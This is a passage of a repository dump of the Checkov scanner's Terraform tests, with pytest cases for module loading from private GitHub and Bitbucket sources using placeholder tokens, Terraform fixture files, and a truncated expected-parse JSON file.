\"git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"\",\n        ),\n        (\n            \"github.com/kartikp10/terraform-aws-security-group//modules/http-80\",\n            \"github.com/kartikp10/terraform-aws-security-group/HEAD/modules/http-80\",\n            \"https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group\",\n            \"github.com/kartikp10/terraform-aws-security-group/HEAD\",\n            \"git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group\",\n            \"modules/http-80\",\n        ),\n        (\n            \"git::ssh://git@github.com/kartikp10/terraform-aws-s3-bucket1.git?ref=v1.2.0\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/v1.2.0\",\n            \"https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git?ref=v1.2.0\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/v1.2.0\",\n            \"git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git?ref=v1.2.0\",\n            \"\",\n        ),\n       (\n           \"git@github.com:kartikp10/terraform-aws-security-group.git//modules/http-80\",\n            \"github.com/kartikp10/terraform-aws-security-group/HEAD\",\n            \"https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group\",\n            \"github.com/kartikp10/terraform-aws-security-group/HEAD\",\n            \"git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-security-group\",\n            \"modules/http-80\",\n        )\n    ],\n    ids=[\"github_http_module\", \"generic_git_module\", \"ssh_github_module\", \"generic_ssh_module\",\"github_http_module\", \"generic_ssh_module_version\", \"github_ssh_module_version\"],\n)\n@mock.patch.dict(os.environ, {\"GITHUB_PAT\": \"ghp_xxxxxxxxxxxxxxxxx\"})\n@mock.patch(\"checkov.terraform.module_loading.loaders.git_loader.GitGetter\", autospec=True)\ndef test_load_github_private(\n    git_getter,\n    tmp_path: Path,\n    source,\n    expected_content_path,\n    expected_git_url,\n    expected_dest_dir,\n    expected_module_source,\n    expected_inner_module,\n):\n    git_getter.side_effect = [Exception(), None]\n    # given\n    current_dir = tmp_path / \"github_private\"\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    registry.module_content_cache = {}\n\n    # when\n    registry.loaders = [GithubAccessTokenLoader()]\n    registry.load(current_dir=str(current_dir), source=source, source_version=\"latest\")\n\n    # then\n    git_getter.assert_called_with(expected_git_url, create_clone_and_result_dirs=False)\n\n\n@pytest.mark.parametrize(\n    \"source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module\",\n    [\n        (\n            \"bitbucket.org/kartikp10/terraform-aws-s3-bucket1\",\n            \"bitbucket.org/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"https://x-token-auth:xxxxxxxxxxxxxxxxx@bitbucket.org/kartikp10/terraform-aws-s3-bucket1\",  # checkov:skip=CKV_SECRET_4 test secret\n            \"bitbucket.org/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"git::https://x-token-auth:xxxxxxxxxxxxxxxxx@bitbucket.org/kartikp10/terraform-aws-s3-bucket1\",\n            \"\",\n        )\n    ],\n    ids=[\"module\"],\n)\n@mock.patch.dict(os.environ, {\"BITBUCKET_TOKEN\": \"xxxxxxxxxxxxxxxxx\"})  # checkov:skip=CKV_SECRET_6 test secret\n@mock.patch(\"checkov.terraform.module_loading.loaders.git_loader.GitGetter\", autospec=True)\ndef test_load_bitbucket_private(\n    git_getter,\n    tmp_path: Path,\n    source,\n    expected_content_path,\n    expected_git_url,\n    expected_dest_dir,\n    expected_module_source,\n    expected_inner_module,\n):\n    git_getter.side_effect = [Exception(), None]\n    # given\n    current_dir = tmp_path / \"bitbucket_private\"\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    registry.module_content_cache = {}\n\n    # when\n    registry.loaders = [BitbucketAccessTokenLoader()]\n    registry.load(current_dir=str(current_dir), source=source, source_version=\"latest\")\n\n    # then\n    git_getter.assert_called_with(expected_git_url, create_clone_and_result_dirs=False)\n\n\ndef test_load_terraform_registry_with_real_download(tmp_path: Path):\n    # given\n    current_dir = str(tmp_path / \"tf_download\")\n    registry = ModuleLoaderRegistry(download_external_modules=True, external_modules_folder_name=DEFAULT_EXTERNAL_MODULES_DIR)\n    registry.module_content_cache = {}\n    registry.root_dir = current_dir\n\n    source = \"terraform-aws-modules/security-group/aws\"\n\n    # when\n    content = registry.load(current_dir=current_dir, source=source, source_version=\"~> 3.0\")\n\n    expected_content_path = os.path.join(\n        current_dir,\n        DEFAULT_EXTERNAL_MODULES_DIR,\n        \"github.com/terraform-aws-modules/terraform-aws-security-group\",\n    )\n\n    assert content.loaded()\n    content_path = content.path()\n    assert content_path.startswith(f\"{expected_content_path}/v3.\") or \\\n           content_path.startswith(f\"{expected_content_path}/2cd10c8aca557fd858f401616d5c3b27e2a7b595\")\n\n\ndef test_load_terraform_registry_check_cache(tmp_path: Path):\n    # given\n    current_dir = str(tmp_path / \"cache_check\")\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    registry.module_content_cache = {}\n    registry.root_dir = current_dir\n\n    source1 = \"git::https://github.com/bridgecrewio/checkov_not_working1.git\"\n    source2 = \"git::https://github.com/bridgecrewio/checkov_not_working2.git\"\n\n    # when\n    registry.load(current_dir=current_dir, source=source1, source_version=\"latest\")\n\n    assert source1 in registry.failed_urls_cache\n\n    registry.load(current_dir=current_dir, source=source2, source_version=\"latest\")\n\n    # then\n    assert source1 in registry.failed_urls_cache\n    assert source2 in registry.failed_urls_cache\n\n\ndef test_loader_equality():\n    githubLoaderOne = GithubLoader()\n    githubLoaderTwo = GithubLoader()\n    assert githubLoaderOne == githubLoaderTwo\n    bitLoader = BitbucketLoader()\n    assert githubLoaderOne != bitLoader\n    genericLoader = GenericGitLoader()\n    assert githubLoaderOne != genericLoader and bitLoader != genericLoader\n\n\ndef test_multiple_similar_loaders():\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    assert len(registry.loaders) == 7\n    GithubLoader()\n    GithubLoader()\n    GenericGitLoader()\n    BitbucketLoader()\n    assert len(registry.loaders) == 7\n\n@mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', True)\ndef test_latest_tf_managed(tmp_path: Path):\n    registry = ModuleLoaderRegistry(download_external_modules=False)\n    registry.module_content_cache = {\n        'terraform-aws-modules/iam:5.55.0': ModuleContent('xxx')\n    }\n    registry.module_latest = {\n        'terraform-aws-modules/iam': '5.55.0'\n    }\n\n    mc = registry.load(str(tmp_path / 'cache_check'), source='terraform-aws-modules/iam', source_version='latest')\n    assert mc and mc.path() == 'xxx'\n\n@mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', True)\ndef test_latest_tf_managed_registry(tmp_path: Path):\n    registry = ModuleLoaderRegistry(download_external_modules=False)\n    registry.module_content_cache = {\n        'registry.terraform.io/terraform-aws-modules/iam:5.55.0': ModuleContent('xxx')\n    }\n    registry.module_latest = {\n        'registry.terraform.io/terraform-aws-modules/iam': '5.55.0'\n    }\n\n    mc = registry.load(str(tmp_path / 'cache_check'), source='terraform-aws-modules/iam', source_version='latest')\n    assert mc and mc.path() == 'xxx'\n\n\ndef test_github_is_matching_loader(tmp_path: Path):\n    loader = GithubLoader()\n    dummy_dir = tmp_path.as_posix()\n\n    params = ModuleParams(\n        root_dir=dummy_dir,\n        current_dir=dummy_dir,\n        source=\"\",\n        source_version=None,\n        dest_dir=dummy_dir,\n        external_modules_folder_name=\".external_modules\"\n    )\n    loader.discover(params)\n\n    # --- Case 1: github.com/org/repo ---\n    params.module_source = \"github.com/org/repo\"\n    assert loader._is_matching_loader(params) is True\n    assert params.module_source == \"git::https://github.com/org/repo\"\n\n    # --- Case 2: git@github.com:org/repo ---\n    params.module_source = \"git@github.com:org/repo\"\n    assert loader._is_matching_loader(params) is True\n    assert params.module_source == \"git::ssh://git@github.com/org/repo\"\n\n    # --- Case 3: git::git@github.com:org/repo ---\n    params.module_source = \"git::git@github.com:org/repo\"\n    assert loader._is_matching_loader(params) is True\n    assert params.module_source == \"git::ssh://git@github.com/org/repo\"\n"
  },
  {
    "path": "tests/terraform/module_loading/test_runner.py",
    "content": "import os\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.common.util.env_vars_config import env_vars_config\n\n@mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', True)\ndef test_runner_with_tf_managed_modules():\n    # given\n    root_dir = Path(__file__).parent / \"data/tf_managed_modules\"\n\n    # when\n    result = Runner().run(\n        root_folder=str(root_dir),\n        runner_filter=RunnerFilter(checks=[\"CKV_AWS_338\"], framework=[\"terraform\"], download_external_modules=False),\n    )\n\n    # then\n    summary = result.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    failed_resources = [check.resource for check in result.failed_checks]\n    expected_failed_resources = [\"module.log_group.aws_cloudwatch_log_group.this[0]\"]\n\n    assert failed_resources == expected_failed_resources\n\n\n# test can be removed after setting this flow as default\n@mock.patch.object(env_vars_config, 'CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', False)\ndef test_runner_without_tf_managed_modules():\n    # given\n    root_dir = Path(__file__).parent / \"data/tf_managed_modules\"\n\n    # when\n    result = Runner().run(\n        root_folder=str(root_dir),\n        runner_filter=RunnerFilter(checks=[\"CKV_AWS_338\"], framework=[\"terraform\"], download_external_modules=False),\n    )\n\n    # then\n    summary = result.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/terraform/module_loading/test_tf_module_finder.py",
    "content": "import os\nimport shutil\nimport unittest\nimport logging\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.terraform.module_loading.module_finder import (\n    ModuleDownload,\n    _download_module,\n    find_modules,\n    find_tf_managed_modules,\n    should_download,\n    load_tf_modules\n)\nfrom checkov.terraform.module_loading.registry import module_loader_registry\n\n\nclass TestModuleFinder(unittest.TestCase):\n    @staticmethod\n    def get_src_dir():\n        cur_dir = os.path.abspath(os.path.dirname(__file__))\n        return os.path.join(cur_dir, 'data', 'tf_module_downloader', 'public_modules')\n\n    def test_module_finder(self):\n        modules = find_modules(self.get_src_dir())\n        self.assertEqual(2, len(modules), f\"modules: {list(map(lambda mod: mod.module_link, modules))}\")\n        remote_modules = list(filter(lambda mod: should_download(mod.module_link), modules))\n        self.assertEqual(1, len(remote_modules))\n        for m in remote_modules:\n            if 'terraform-aws-modules' in m.module_link:\n                self.assertEqual('~> 2.1.0', m.version)\n            else:\n                self.assertIsNone(m.version)\n\n    def test_module_finder_ignore_comments(self):\n        modules = find_modules(self.get_src_dir())\n        module_list = list(map(lambda mod: mod.module_link, modules))\n        for m in module_list:\n            self.assertIn(m, [\"terraform-aws-modules/s3-bucket/aws\",\n                              \"../../../../../../../platform/src/stacks/accountStack\"])\n\n    def test_module_finder_nested_blocks(self):\n        cur_dir = os.path.abspath(os.path.dirname(__file__))\n        src_dir = os.path.join(cur_dir, 'data', 'nested_modules')\n        modules = find_modules(src_dir)\n        self.assertEqual(1, len(modules))\n        self.assertEqual(\"3.14.0\", modules[0].version)\n\n    def test_downloader(self):\n        modules = find_modules(self.get_src_dir())\n\n        remote_modules = [m for m in modules if should_download(m.module_link)]\n        module_loader_registry.download_external_modules = True\n        load_tf_modules(os.path.join(self.get_src_dir()), run_parallel=True)\n        downloaded_modules = os.listdir(os.path.join(self.get_src_dir(), DEFAULT_EXTERNAL_MODULES_DIR))\n        distinct_roots = {md.module_link.split('/')[0] for md in remote_modules}\n        shutil.rmtree(os.path.join(self.get_src_dir(), DEFAULT_EXTERNAL_MODULES_DIR))\n        self.assertEqual(len(downloaded_modules), 1)\n        self.assertEqual(len(distinct_roots), 1)\n\n\ndef test_dem_warning(caplog):\n    \"\"\"\n    Test that the --download-external-modules flag warning message is only\n    logged if the flag is not specified on the command line, and that\n    module download warnings are not logged if the flag is set to False.\n    \"\"\"\n    caplog.set_level(logging.WARNING)\n    module_loader_registry.download_external_modules = None\n    _download_module(module_loader_registry, ModuleDownload('xxx'))\n    assert 'Failed to download module' in caplog.text\n    assert '--download-external-modules flag' in caplog.text\n    caplog.clear()\n\n    module_loader_registry.download_external_modules = True\n    _download_module(module_loader_registry, ModuleDownload('xxx'))\n    assert 'Failed to download module' in caplog.text\n    assert '--download-external-modules flag' not in caplog.text\n    caplog.clear()\n\n    module_loader_registry.download_external_modules = False\n    _download_module(module_loader_registry, ModuleDownload('xxx'))\n    assert 'Failed to download module' not in caplog.text\n    assert '--download-external-modules flag' not in caplog.text\n\ndef test_tf_managed_and_comment_out_modules():\n    src_path = Path(__file__).parent / 'data' / 'tf_managed_modules'\n    modules = find_tf_managed_modules(str(src_path))\n\n    assert len(modules) == 1\n    assert modules[0].tf_managed is True\n    assert modules[0].address == \"registry.terraform.io/terraform-aws-modules/cloudwatch/aws//modules/log-group:4.1.0\"\n    assert modules[0].module_link == \".terraform/modules/log_group/modules/log-group\"\n\ndef test_tf_managed_submodules():\n    modules = find_tf_managed_modules(Path(__file__).parent / 'data' / 'tf_managed_submodules')\n    assert len(modules) == 2\n    assert modules[0].tf_managed is True\n    assert modules[0].address == 'somewhere/a:0'\n    assert modules[0].module_name == 'a'\n    assert modules[0].module_link == '.terraform/modules/a'\n    assert modules[1].tf_managed is True\n    assert modules[1].address == 'somewhere/b:1'\n    assert modules[1].module_name == 'a.b'\n    assert modules[1].module_link == '.terraform/modules/a.b'\n"
  },
  {
    "path": "tests/terraform/parser/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/parser/resources/double_slash.tf",
    "content": "resource \"helm_release\" \"test\" {\n  name       = \"influxdb\"\n  repository = \"https://helm.influxdata.com\"\n  chart      = \"influxdb\"\n  namespace  = \"influxdb\"\n  set {\n    name  = \"ingress.annotations.kubernetes\\\\.io/ingress\\\\.class\"\n    value = var.influxdb_ingress_annotations_kubernetes_ingress_class\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/failing_module_address/registry_security_group.tf",
    "content": "module \"security_group1\" {\n  source  = \"https://github.com/bridgecrewio/checkov_not_working.git\"\n  version = \"latest\"\n\n  name        = \"example\"\n  description = \"Security group for example usage with EC2 instance\"\n  vpc_id      = data.aws_vpc.default.id\n\n  ingress_cidr_blocks = [\"0.0.0.0/0\"]\n  ingress_rules       = [\"http-80-tcp\", \"all-icmp\"]\n  egress_rules        = [\"all-all\"]\n}\n\n\nmodule \"security_group2\" {\n  source  = \"https://github.com/bridgecrewio/checkov_not_working.git\"\n  version = \"latest\"\n\n  name        = \"example\"\n  description = \"Security group for example usage with EC2 instance\"\n  vpc_id      = data.aws_vpc.default.id\n\n  ingress_cidr_blocks = [\"0.0.0.0/0\"]\n  ingress_rules       = [\"http-80-tcp\", \"all-icmp\"]\n  egress_rules        = [\"all-all\"]\n}\n\n\n\n"
  },
  {
    "path": "tests/terraform/parser/resources/file_bom/with_bom.tf",
    "content": "﻿resource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/file_bom/without_bom.tf",
    "content": "resource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/hcl_timeout/main.tf",
    "content": "resource \"aws_glue_connection\" \"example\" {\n  name = \"example-connection\"\n  connection_properties = {\n             startswith(each.value.connection_properties[x], \"$${abcded:\"\n\n\nvariable \"connection_properties\" {\n\n}"
  },
  {
    "path": "tests/terraform/parser/resources/local_module/main.tf",
    "content": "module \"mod\" {\n  source = \"./module\"\n  versioning = true\n}\n\nmodule \"mod2\" {\n  source = \"./module\"\n  versioning = false\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/local_module/module/main.tf",
    "content": "resource \"aws_s3_bucket\" \"mod_bucket\" {\n  bucket        = \"example\"\n\n  versioning {\n    enabled = var.versioning\n  }\n}\n\nvariable \"versioning\" {\n  type = bool\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/malformed_outputs/main.tf",
    "content": "## Outputs\n\noutput \"cluster_name\" {\n  value = \"${aws_eks_cluster.eks.name}\"\n}\n\noutput \"kubeconfig\" {\n  value = \"${local.kubeconfig}\"\n}\n\noutput \"aws-auth-cm.yaml\" {\n  value = \"${local.aws-auth-cm}\"\n}\n\n//output \"config_map_aws_auth\" {\n//  value = \"${local.config_map_aws_auth}\"\n//}"
  },
  {
    "path": "tests/terraform/parser/resources/parse_backtrack_module/example/main.tf",
    "content": "module \"bucket_local\" {\n  source = \"../\"\n\n  bucket_name = var.name\n}\n\n# the remote module needs to be at the end to properly test the issue\nmodule \"bucket_remote\" {\n  source = \"terraform-aws-modules/s3-bucket/aws\"\n\n  bucket = \"remote\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parse_backtrack_module/main.tf",
    "content": "variable \"bucket_name\" {\n  type = string\n}\n\nresource \"aws_s3_bucket\" \"root\" {\n  bucket = var.bucket_name\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parse_file_vs_dir/main.tf",
    "content": "# Do not add more files to this directory.\n\nresource \"aws_elb\" \"learn\" {\n  instances = aws_instance.ubuntu[*].id\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n  listener {\n    instance_port     = 0\n    instance_protocol = \"\"\n    lb_port           = 0\n    lb_protocol       = \"\"\n  }\n}\n\nresource \"aws_elb\" \"learn1\" {\n  instances = aws_instance.ubuntu[*].id\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n  listener {\n    instance_port     = 0\n    instance_protocol = \"\"\n    lb_port           = 0\n    lb_protocol       = \"\"\n  }\n}\n\nresource \"aws_elb\" \"learn2\" {\n  instances = aws_instance.ubuntu[*].id\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n  listener {\n    instance_port     = 0\n    instance_protocol = \"\"\n    lb_port           = 0\n    lb_protocol       = \"\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_dup_nested/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  alias = \"test_provider\"\n  test_provider = True\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n  bucket = false\n  bucket2 = \"\"\n}\n\nmodule \"s3_module2\" {\n  source = \"./module\"\n  bucket = \"\"\n  bucket2 = true\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_dup_nested/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n\nmodule \"inner_s3_module2\" {\n  source = \"./module2\"\n  bucket2 = var.bucket2\n}\n\n\nvariable \"bucket\" {\n  type = string\n}\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_dup_nested/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_nested_modules/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  alias = \"test_provider\"\n  test_provider = True\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example.id\n}\n\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_nested_modules/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_nested_modules/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_nested_modules/module/module2/variable.tf",
    "content": "variable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_nested_modules/module/variable.tf",
    "content": "variable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/README.md",
    "content": "Child directories contain parsing scenarios along with an `expected.json` file with the\ntotal expected result output. During real evaluation all files will use absolute paths. To\nmake tests work across various systems, test expectations are written with relative paths\nand tests will convert to absolute paths on the fly.\n\nIf evaluations are also being tested, an `eval.json` file may be created with the expected\nevaluation data."
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myaccount/us-east-1/main.tf",
    "content": "module \"mydb\" {\n  source           = \"../../../modules/db\"\n  DB_INSTANCE_TYPE = \"${var.DB_INSTANCE_TYPE}\"\n  ENGINE_VERSION   = \"${var.ENGINE_VERSION}\"\n  ENCRYPTED        = \"${var.ENCRYPTED}\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myaccount/us-east-1/terraform.tfvars",
    "content": "ENGINE_VERSION = \"11\"\nDB_INSTANCE_TYPE = \"db.t3.small\"\nENCRYPTED = true"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myaccount/us-east-1/variables.tf",
    "content": "variable \"ENGINE_VERSION\" {}\nvariable \"DB_INSTANCE_TYPE\" {}\nvariable \"ENCRYPTED\" {}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myotheraccount/us-east-1/main.tf",
    "content": "module \"mydb\" {\n  source           = \"../../../modules/db\"\n  DB_INSTANCE_TYPE = \"${var.DB_INSTANCE_TYPE}\"\n  ENGINE_VERSION   = \"${var.ENGINE_VERSION}\"\n  ENCRYPTED        = \"${var.ENCRYPTED}\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myotheraccount/us-east-1/terraform.tfvars",
    "content": "ENGINE_VERSION = \"11\"\nDB_INSTANCE_TYPE = \"db.t9.mega\"\nENCRYPTED = true"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/envs/myotheraccount/us-east-1/variables.tf",
    "content": "variable \"ENGINE_VERSION\" {}\nvariable \"DB_INSTANCE_TYPE\" {}\nvariable \"ENCRYPTED\" {}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"envs/myaccount/us-east-1/main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"mydb\": {\n          \"source\": [\"../../../modules/db\"],\n          \"DB_INSTANCE_TYPE\": [\"db.t3.small\"],\n          \"ENGINE_VERSION\": [11],\n          \"ENCRYPTED\": [true],\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\"modules/db/db.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myaccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\",\n            \"{\\\"file_path\\\": \\\"modules/db/variables.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myaccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 1,\n          \"__end_line__\": 6,\n          \"__address__\": \"mydb\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"envs/myaccount/us-east-1/variables.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"ENGINE_VERSION\": {\n          \"__start_line__\": 1,\n          \"__end_line__\": 1,\n          \"__address__\": \"ENGINE_VERSION\"\n        }\n      },\n      {\n        \"DB_INSTANCE_TYPE\": {\n          \"__start_line__\": 2,\n          \"__end_line__\": 2,\n          \"__address__\": \"DB_INSTANCE_TYPE\"\n        }\n      },\n      {\n        \"ENCRYPTED\": {\n          \"__start_line__\": 3,\n          \"__end_line__\": 3,\n          \"__address__\": \"ENCRYPTED\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"modules/db/variables.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myaccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"variable\": [\n      {\n        \"DB_DELETION_PROTECTION\": {\n          \"default\": [true],\n          \"__start_line__\": 1,\n          \"__end_line__\": 3,\n          \"__address__\": \"module.mydb.DB_DELETION_PROTECTION\"\n        }\n      },\n      {\n        \"ENGINE_VERSION\": {\n          \"default\": [11],\n          \"__start_line__\": 5,\n          \"__end_line__\": 7,\n          \"__address__\": \"module.mydb.ENGINE_VERSION\"\n        }\n      },\n      {\n        \"DB_INSTANCE_TYPE\": {\n          \"default\": [\"db.t3.small\"],\n          \"__start_line__\": 9,\n          \"__end_line__\": 11,\n          \"__address__\": \"module.mydb.DB_INSTANCE_TYPE\"\n        }\n      },\n      {\n        \"ENCRYPTED\": {\n          \"__start_line__\": 13,\n          \"__end_line__\": 13,\n          \"__address__\": \"module.mydb.ENCRYPTED\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"modules/db/db.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myaccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"resource\": [\n      {\n        \"aws_db_instance\": {\n          \"db\": {\n            \"name\": [\"my_db\"],\n            \"instance_class\": [\"db.t3.small\"],\n            \"engine\": [\"postgres\"],\n            \"engine_version\": [11],\n            \"storage_type\": [\"gp2\"],\n            \"deletion_protection\": [true],\n            \"storage_encrypted\": [true],\n            \"__start_line__\": 1,\n            \"__end_line__\": 9,\n            \"__address__\": \"module.mydb.aws_db_instance.db\"\n          }\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"envs/myotheraccount/us-east-1/main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"mydb\": {\n          \"source\": [\"../../../modules/db\"],\n          \"DB_INSTANCE_TYPE\": [\"db.t9.mega\"],\n          \"ENGINE_VERSION\": [11],\n          \"ENCRYPTED\": [true],\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\"modules/db/db.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myotheraccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\",\n            \"{\\\"file_path\\\": \\\"modules/db/variables.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myotheraccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 1,\n          \"__end_line__\": 6,\n          \"__address__\": \"mydb\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"envs/myotheraccount/us-east-1/variables.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"ENGINE_VERSION\": {\n          \"__start_line__\": 1,\n          \"__end_line__\": 1,\n          \"__address__\": \"ENGINE_VERSION\"\n        }\n      },\n      {\n        \"DB_INSTANCE_TYPE\": {\n          \"__start_line__\": 2,\n          \"__end_line__\": 2,\n          \"__address__\": \"DB_INSTANCE_TYPE\"\n        }\n      },\n      {\n        \"ENCRYPTED\": {\n          \"__start_line__\": 3,\n          \"__end_line__\": 3,\n          \"__address__\": \"ENCRYPTED\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"modules/db/variables.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myotheraccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"variable\": [\n      {\n        \"DB_DELETION_PROTECTION\": {\n          \"default\": [true],\n          \"__start_line__\": 1,\n          \"__end_line__\": 3,\n          \"__address__\": \"module.mydb.DB_DELETION_PROTECTION\"\n        }\n      },\n      {\n        \"ENGINE_VERSION\": {\n          \"default\": [11],\n          \"__start_line__\": 5,\n          \"__end_line__\": 7,\n          \"__address__\": \"module.mydb.ENGINE_VERSION\"\n        }\n      },\n      {\n        \"DB_INSTANCE_TYPE\": {\n          \"default\": [\"db.t9.mega\"],\n          \"__start_line__\": 9,\n          \"__end_line__\": 11,\n          \"__address__\": \"module.mydb.DB_INSTANCE_TYPE\"\n        }\n      },\n      